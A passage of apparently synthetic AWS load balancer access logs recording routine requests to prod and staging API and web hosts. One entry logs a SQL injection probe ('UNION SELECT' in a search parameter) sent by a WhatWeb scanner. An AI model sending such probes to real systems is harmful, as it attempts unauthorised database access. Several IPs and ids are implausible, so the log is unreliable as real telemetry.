AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c237-d1c0b68126934bc7b80c5bb8" "prod-api-alb.example.com" "-" 0 2024-11-01T00:45:27.608019Z "forward" "-" "-" "10.0.14.165:443" "200" "-" "-" +http 2024-11-01T00:45:28.634166Z staging-alb 230.194.218.5:23139 140.250.252.214:8080 0.034656 0.747959 0.061346 301 301 111 8234 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c238-00b800ef234b4001a1b90999" "staging-alb.example.com" "-" 0 2024-11-01T00:45:28.634166Z "forward" "-" "-" "140.250.252.214:8080" "301" "-" "-" +https 2024-11-01T00:45:30.621432Z staging-alb 28.106.116.68:23342 28.138.14.0:80 0.115575 0.561063 0.065459 301 301 346 13454 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c23a-792f3ee29e444dee972bb38d" "staging-alb.example.com" "-" 4 2024-11-01T00:45:30.621432Z "forward" "-" "-" "28.138.14.0:80" "301" "-" "-" +https 2024-11-01T00:45:31.938121Z prod-api-alb 89.252.219.200:39082 10.0.163.182:443 0.055820 0.398356 0.013488 301 301 658 3950 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c23b-fa7761a47d7d462ba31611a3" "prod-api-alb.example.com" "-" 2 2024-11-01T00:45:31.938121Z "forward" "-" "-" "10.0.163.182:443" "301" "-" "-" +https 2024-11-01T00:45:33.878463Z prod-api-alb 19.98.184.217:42003 10.0.156.147:443 0.034766 0.489232 0.012662 200 200 255 3713 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c23d-f3bd82eec2eb42db9fd91f6c" "prod-api-alb.example.com" "-" 7 2024-11-01T00:45:33.878463Z "forward" "-" "-" "10.0.156.147:443" "200" "-" "-" +https 2024-11-01T00:45:35.065569Z staging-alb 125.135.145.254:15616 40.129.45.181:8080 0.114088 0.411599 0.074927 200 200 308 1693 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c23f-c7e35bc3f7e9403e99f66dea" "staging-alb.example.com" "-" 10 2024-11-01T00:45:35.065569Z "forward" "-" "-" "40.129.45.181:8080" "200" "-" "-" +https 2024-11-01T00:45:35.704056Z staging-alb 153.117.204.103:21862 96.217.20.206:80 0.075185 0.412399 0.047638 302 302 687 4419 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c23f-88640431c3ef455c89829849" "staging-alb.example.com" "-" 4 2024-11-01T00:45:35.704056Z "forward" "-" "-" "96.217.20.206:80" "302" "-" "-" +https 2024-11-01T00:45:36.273018Z prod-web-alb 203.12.173.124:36307 10.0.228.43:443 0.057272 0.399221 0.000282 200 200 606 3004 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c240-57cc3d65681f403bb6123161" "prod-web-alb.example.com" "-" 5 2024-11-01T00:45:36.273018Z "forward" "-" "-" "10.0.228.43:443" "200" "-" "-" +https 2024-11-01T00:45:36.828904Z prod-web-alb 59.119.5.233:61877 10.0.108.165:443 0.004168 0.104824 0.076336 404 404 544 2950 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c240-261c0f88f21d417094615547" "-" "-" 9 2024-11-01T00:45:36.828904Z "forward" "-" "-" "10.0.108.165:443" "404" "-" "-" +http 2024-11-01T00:45:37.446832Z staging-alb 193.79.113.78:12470 193.248.196.173:8080 0.090721 0.005711 0.139188 200 200 199 12775 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c241-fa8a6718b92f48b1ba63f5dc" "staging-alb.example.com" "-" 5 2024-11-01T00:45:37.446832Z "forward" "-" "-" "193.248.196.173:8080" "200" "-" "-" +https 2024-11-01T00:45:38.620082Z staging-alb 8.152.59.54:62897 243.159.215.131:443 0.112111 0.536325 0.112939 200 200 479 5232 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c242-636c46110a5a416187ddd53e" "staging-alb.example.com" "-" 10 2024-11-01T00:45:38.620082Z "forward" "-" "-" "243.159.215.131:443" "200" "-" "-" +https 2024-11-01T00:45:40.174475Z staging-alb 234.138.15.191:50074 242.147.87.203:80 0.043575 0.726487 0.064032 200 200 234 7412 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c244-9fb5418b2e70401e99ff97a1" "staging-alb.example.com" "-" 9 2024-11-01T00:45:40.174475Z "forward" "-" "-" "242.147.87.203:80" "200" "-" "-" +https 2024-11-01T00:45:41.735138Z prod-api-alb 68.194.102.87:14554 10.0.39.112:443 0.012304 0.044337 0.027731 404 404 194 6332 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c245-e1eef6f7f8934aa89ae53531" "prod-api-alb.example.com" "-" 0 2024-11-01T00:45:41.735138Z "forward" "-" "-" "10.0.39.112:443" "404" "-" "-" +https 2024-11-01T00:45:42.452425Z prod-web-alb 110.69.13.158:41715 10.0.220.217:443 0.096551 0.086787 0.004907 200 200 993 4206 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c246-aa7072ad052f4905af824119" "prod-web-alb.example.com" "-" 2 2024-11-01T00:45:42.452425Z "forward" "-" "-" "10.0.220.217:443" "200" "-" "-" +https 2024-11-01T00:45:42.626086Z prod-api-alb 181.60.253.148:16456 10.0.133.55:443 0.089322 0.220369 0.068368 200 200 376 12326 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c246-1669fd157d4d4dfeb698d03b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:45:42.626086Z "forward" "-" "-" "10.0.133.55:443" "200" "-" "-" +https 2024-11-01T00:45:42.785279Z prod-web-alb 140.253.1.49:63571 10.0.122.75:443 0.064155 0.058410 0.055210 302 302 469 1396 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c246-7be9b4ee0e8845de94c2fe09" "prod-web-alb.example.com" "-" 4 2024-11-01T00:45:42.785279Z "forward" "-" "-" "10.0.122.75:443" "302" "-" "-" +http 2024-11-01T00:45:44.775462Z staging-alb 69.58.222.83:41945 135.165.119.53:8080 0.071763 0.018884 0.019289 301 301 551 13595 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c248-519e9e6d6f3c4819819c4842" "staging-alb.example.com" "-" 2 2024-11-01T00:45:44.775462Z "forward" "-" "-" "135.165.119.53:8080" "301" "-" "-" +https 2024-11-01T00:45:46.403985Z prod-web-alb 253.111.229.78:23355 10.0.10.136:443 0.028887 0.176898 0.012165 200 200 659 1132 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c24a-1b0f4e0e1e344cf181ccbd80" "prod-web-alb.example.com" "-" 1 2024-11-01T00:45:46.403985Z "forward" "-" "-" "10.0.10.136:443" "200" "-" "-" +http 2024-11-01T00:45:47.118387Z staging-alb 185.181.183.244:62484 51.173.218.239:80 0.051935 0.055528 0.009887 500 500 810 4839 "GET /search?q=1' UNION SELECT HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c24b-16c8540686a54a2a88fb067e" "-" "-" 4 2024-11-01T00:45:47.118387Z "forward" "-" "-" "51.173.218.239:80" "500" "-" "-" +https 2024-11-01T00:45:47.307335Z prod-api-alb 9.229.180.95:16215 10.0.127.107:443 0.060309 0.394488 0.036637 302 302 876 2428 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c24b-0bf0760a39384bbfabf6b3d7" "prod-api-alb.example.com" "-" 2 2024-11-01T00:45:47.307335Z "forward" "-" "-" "10.0.127.107:443" "302" "-" "-" +https 2024-11-01T00:45:49.010615Z prod-web-alb 244.150.48.4:46764 10.0.102.124:443 0.093967 0.202403 0.075434 302 302 10 10282 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c24d-3eb58aa53bb84622bac643d4" "prod-web-alb.example.com" "-" 0 2024-11-01T00:45:49.010615Z "forward" "-" "-" "10.0.102.124:443" "302" "-" "-" +https 2024-11-01T00:45:50.680705Z prod-api-alb 6.137.235.6:15780 10.0.151.85:443 0.094698 0.158759 0.003196 404 404 170 3693 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c24e-8a144e39357c476db645ffb9" "prod-api-alb.example.com" "-" 9 2024-11-01T00:45:50.680705Z "forward" "-" "-" "10.0.151.85:443" "404" "-" "-" +https 2024-11-01T00:45:51.732566Z prod-web-alb 95.229.232.68:49100 10.0.180.143:443 0.062099 0.371237 0.025509 302 302 525 7926 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c24f-8466310d93584310844141b0" "prod-web-alb.example.com" "-" 9 2024-11-01T00:45:51.732566Z "forward" "-" "-" "10.0.180.143:443" "302" "-" "-" +https 2024-11-01T00:45:52.183425Z prod-web-alb 171.247.154.160:61137 10.0.95.183:443 0.023942 0.434835 0.085707 302 302 378 2995 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c250-ad1bf4b98c0b4187851025d5" "prod-web-alb.example.com" "-" 7 2024-11-01T00:45:52.183425Z "forward" "-" "-" "10.0.95.183:443" "302" "-" "-" +http 2024-11-01T00:45:53.949476Z staging-alb 125.171.20.217:11679 136.141.51.72:8080 0.040338 0.438771 0.076136 302 302 292 14375 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c251-5887a0ae160a46bd9f363d6d" "staging-alb.example.com" "-" 9 2024-11-01T00:45:53.949476Z "forward" "-" "-" "136.141.51.72:8080" "302" "-" "-" +https 2024-11-01T00:45:55.401679Z prod-web-alb 196.200.210.65:41141 10.0.7.212:443 0.019037 0.430040 0.036044 404 404 78 7848 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c253-e967def6ab7f4244879206a2" "prod-web-alb.example.com" "-" 5 2024-11-01T00:45:55.401679Z "forward" "-" "-" "10.0.7.212:443" "404" "-" "-" +https 2024-11-01T00:45:56.958669Z prod-api-alb 136.209.67.198:30912 10.0.100.89:443 0.057514 0.085016 0.065250 200 200 124 14196 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c254-fb1f1e5fc1764a298fdd2d1c" "-" "-" 5 2024-11-01T00:45:56.958669Z "forward" "-" "-" "10.0.100.89:443" "200" "-" "-" +https 2024-11-01T00:45:58.357852Z prod-api-alb 245.229.195.203:49908 10.0.42.179:443 0.088859 0.081598 0.077713 302 302 39 8584 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c256-60a6436ea7e14ff68137f7b6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:45:58.357852Z "forward" "-" "-" "10.0.42.179:443" "302" "-" "-" +https 2024-11-01T00:45:59.828295Z prod-api-alb 236.194.70.240:29577 10.0.212.175:443 0.041603 0.110882 0.067653 302 302 328 11410 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c257-cf83ca7f483f4c0ab90d59f6" "prod-api-alb.example.com" "-" 8 2024-11-01T00:45:59.828295Z "forward" "-" "-" "10.0.212.175:443" "302" "-" "-" +https 2024-11-01T00:46:01.506186Z prod-web-alb 26.199.2.206:23293 10.0.16.47:443 0.012659 0.224035 0.047824 302 302 172 12411 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c259-3bd09f81f44f40a0b2d8e2d8" "prod-web-alb.example.com" "-" 7 2024-11-01T00:46:01.506186Z "forward" "-" "-" "10.0.16.47:443" "302" "-" "-" +https 2024-11-01T00:46:02.344213Z prod-web-alb 215.189.163.214:49792 10.0.12.254:443 0.082754 0.162286 0.005906 200 200 125 4306 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c25a-759389c01f5c4c2aae38c1c3" "prod-web-alb.example.com" "-" 7 2024-11-01T00:46:02.344213Z "forward" "-" "-" "10.0.12.254:443" "200" "-" "-" +http 2024-11-01T00:46:02.544960Z staging-alb 176.96.175.252:28580 183.170.10.27:8080 0.132365 0.456653 0.068988 302 302 924 12482 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c25a-f414cea08e48474ba35c5170" "staging-alb.example.com" "-" 2 2024-11-01T00:46:02.544960Z "forward" "-" "-" "183.170.10.27:8080" "302" "-" "-" +http 2024-11-01T00:46:04.153990Z staging-alb 219.220.121.8:56580 41.204.204.80:443 0.022841 0.232038 0.032474 200 200 229 5003 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c25c-cdfa09f2d9f44d3cb8a43c6c" "staging-alb.example.com" "-" 0 2024-11-01T00:46:04.153990Z "forward" "-" "-" "41.204.204.80:443" "200" "-" "-" +https 2024-11-01T00:46:05.349404Z staging-alb 40.179.32.241:57525 245.148.209.116:443 0.132411 0.416748 0.038325 200 200 779 1489 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c25d-a75201589a944fd59f9ad0f4" "staging-alb.example.com" "-" 10 2024-11-01T00:46:05.349404Z "forward" "-" "-" "245.148.209.116:443" "200" "-" "-" +https 2024-11-01T00:46:07.198914Z prod-api-alb 58.84.156.180:63546 10.0.233.93:443 0.025837 0.113166 0.007035 404 404 769 8500 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c25f-93d2b34629a746108dfdfd57" "prod-api-alb.example.com" "-" 8 2024-11-01T00:46:07.198914Z "forward" "-" "-" "10.0.233.93:443" "404" "-" "-" +https 2024-11-01T00:46:08.566890Z staging-alb 59.147.144.175:15519 119.199.119.156:443 0.034724 0.540653 0.005884 301 301 110 1797 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c260-d1cc8645a3d1450089a3652e" "staging-alb.example.com" "-" 0 2024-11-01T00:46:08.566890Z "forward" "-" "-" "119.199.119.156:443" "301" "-" "-" +https 2024-11-01T00:46:09.461399Z staging-alb 236.39.47.185:27546 171.54.130.124:443 0.058590 0.147033 0.067307 200 200 922 6781 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c261-fcf16de7be76463281bbe199" "staging-alb.example.com" "-" 6 2024-11-01T00:46:09.461399Z "forward" "-" "-" "171.54.130.124:443" "200" "-" "-" +https 2024-11-01T00:46:11.164572Z prod-api-alb 242.5.242.104:45538 10.0.134.161:443 0.008883 0.248617 0.021667 301 301 352 11079 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c263-5ed9e7db9daa4c87ba48762c" "prod-api-alb.example.com" "-" 7 2024-11-01T00:46:11.164572Z "forward" "-" "-" "10.0.134.161:443" "301" "-" "-" +https 2024-11-01T00:46:12.595611Z prod-web-alb 168.158.68.170:42851 10.0.141.53:443 0.009720 0.482816 0.049560 200 200 847 10103 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c264-1f05fb5626ab42f4979ade7a" "prod-web-alb.example.com" "-" 0 2024-11-01T00:46:12.595611Z "forward" "-" "-" "10.0.141.53:443" "200" "-" "-" +https 2024-11-01T00:46:13.133236Z staging-alb 92.54.243.22:31285 149.56.50.220:80 0.095430 0.165225 0.120345 200 200 487 225 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c265-8c44c9a9ee0440fe844a2d51" "staging-alb.example.com" "-" 0 2024-11-01T00:46:13.133236Z "forward" "-" "-" "149.56.50.220:80" "200" "-" "-" +https 2024-11-01T00:46:14.509854Z prod-web-alb 115.77.29.207:16143 10.0.14.82:443 0.076029 0.334495 0.028355 404 404 715 7315 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c266-d518cd3185d24461857269fa" "prod-web-alb.example.com" "-" 4 2024-11-01T00:46:14.509854Z "forward" "-" "-" "10.0.14.82:443" "404" "-" "-" +https 2024-11-01T00:46:15.779349Z prod-api-alb 167.132.221.13:32527 10.0.238.31:443 0.050869 0.227683 0.001020 200 200 234 5839 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c267-0b2cefba42704943b785315a" "prod-api-alb.example.com" "-" 3 2024-11-01T00:46:15.779349Z "forward" "-" "-" "10.0.238.31:443" "200" "-" "-" +https 2024-11-01T00:46:16.026165Z prod-api-alb 217.124.21.21:15069 10.0.248.144:443 0.016975 0.368585 0.090187 200 200 375 3056 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c268-a70f4cbfd60b4d93a54d2877" "prod-api-alb.example.com" "-" 4 2024-11-01T00:46:16.026165Z "forward" "-" "-" "10.0.248.144:443" "200" "-" "-" +https 2024-11-01T00:46:17.615205Z prod-api-alb 62.32.117.203:52207 10.0.222.64:443 0.032065 0.274494 0.089068 200 200 852 8077 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c269-394ba827937b4143bbe3dfdb" "prod-api-alb.example.com" "-" 5 2024-11-01T00:46:17.615205Z "forward" "-" "-" "10.0.222.64:443" "200" "-" "-" +http 2024-11-01T00:46:18.324698Z staging-alb 95.77.31.195:63349 69.89.249.215:80 0.097189 0.676820 0.059278 404 404 487 4320 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c26a-09db9623153043fd874a09d7" "staging-alb.example.com" "-" 10 2024-11-01T00:46:18.324698Z "forward" "-" "-" "69.89.249.215:80" "404" "-" "-" +https 2024-11-01T00:46:19.896605Z prod-web-alb 108.16.145.95:38991 10.0.176.153:443 0.066107 0.368137 0.081744 200 200 124 6963 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c26b-39286bea6c04443090a87b01" "prod-web-alb.example.com" "-" 0 2024-11-01T00:46:19.896605Z "forward" "-" "-" "10.0.176.153:443" "200" "-" "-" +http 2024-11-01T00:46:21.560209Z staging-alb 14.11.118.95:49296 138.206.73.20:80 0.073817 0.646663 0.013466 302 302 738 2386 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c26d-2b8b83bd0024479b8612d7e5" "staging-alb.example.com" "-" 10 2024-11-01T00:46:21.560209Z "forward" "-" "-" "138.206.73.20:80" "302" "-" "-" +https 2024-11-01T00:46:23.040954Z prod-api-alb 118.54.21.120:55115 10.0.212.151:443 